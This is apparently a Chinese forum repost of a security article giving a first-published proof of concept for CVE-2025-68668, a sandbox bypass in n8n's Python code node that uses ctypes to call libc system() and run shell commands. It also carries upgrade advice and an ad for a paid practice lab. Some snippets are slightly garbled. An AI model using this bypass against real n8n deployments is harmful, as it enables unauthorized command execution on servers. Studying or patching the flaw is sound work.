社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

【首发POC】n8n Python代码节点沙箱绕过导致系统命令执行 (CVE-2025-68668)

棉花糖fans • 2 月前 • 269 次点击  


前言

今天各家都通报了CVE-2025-68668 n8n Python代码节点沙箱绕过导致系统命令执行漏洞,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号无关。

漏洞概述

n8n 是一款开源的可视化工作流自动化平台,广泛应用于企业自动化、数据处理和 DevOps 场景。平台采用节点式设计,支持用户通过拖拽组件构建业务流程。受影响的 Python 代码节点允许用户在工作流中执行自定义代码。该节点基于 Pyodide 技术,为代码执行提供安全的沙箱隔离环境。作为一款主流自动化工具,n8n 拥有广泛的用户基础。

漏洞原理

n8n 的 Python (Pyodide) 模式配置了黑名单,在packages/nodes-base/nodes/Code/Pyodide.ts中:

img
img

如果执行这样的代码:

import os
os.system('ls'

是会被阻止的:

image-20260104161503537
image-20260104161503537

但黑名单中并未阻止ctypes库, ctypes 是 Python 的 FFI 库,允许 Python 代码直接调用 C 函数,他的libc有system(), fork(), execl()等函数可用,测试的时候fork(), execl()被拦截了,system()能用,于是我们可以构造出一个使用ctypes去执行系统命令的poc:

import ctypes
libc = ctypes.CDLL(None
libc.system(b'ls')

本地环境验证:

import ctypes
import os

libc = ctypes.CDLL(None)
libc.system.argtypes = [ctypes.c_char_p]
libc.system.restype = ctypes.c_int
result = libc.system(b'echo "mht CVE-2025-68668" > /tmp/test.txt')

return {
    "vulnerability""SUCCESS"
}
image-20260104162123099
image-20260104162123099

修复方法立即升级到n8n 2.0.0或更高版本

复现环境已在无境中上架:vip.bdziyi.com/ulab,无境,英文名Unbounded Lab,是专为网络安全学习者打造的综合性实战平台,提供真实企业级漏洞环境,让您在安全的环境中提升实战技能,核心特色:独立隔离环境,每位用户都拥有完全独立的靶场环境,即使是庞大的内网靶场,环境之间也是零干扰,确保您的学习过程不受任何影响。

image-20260104182631157
image-20260104182631157
image-20260104183035709
image-20260104183035709

广告时间:


棉花糖会员站介绍(25年11月15日版本) 新增在线独立环境内网靶场


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/191277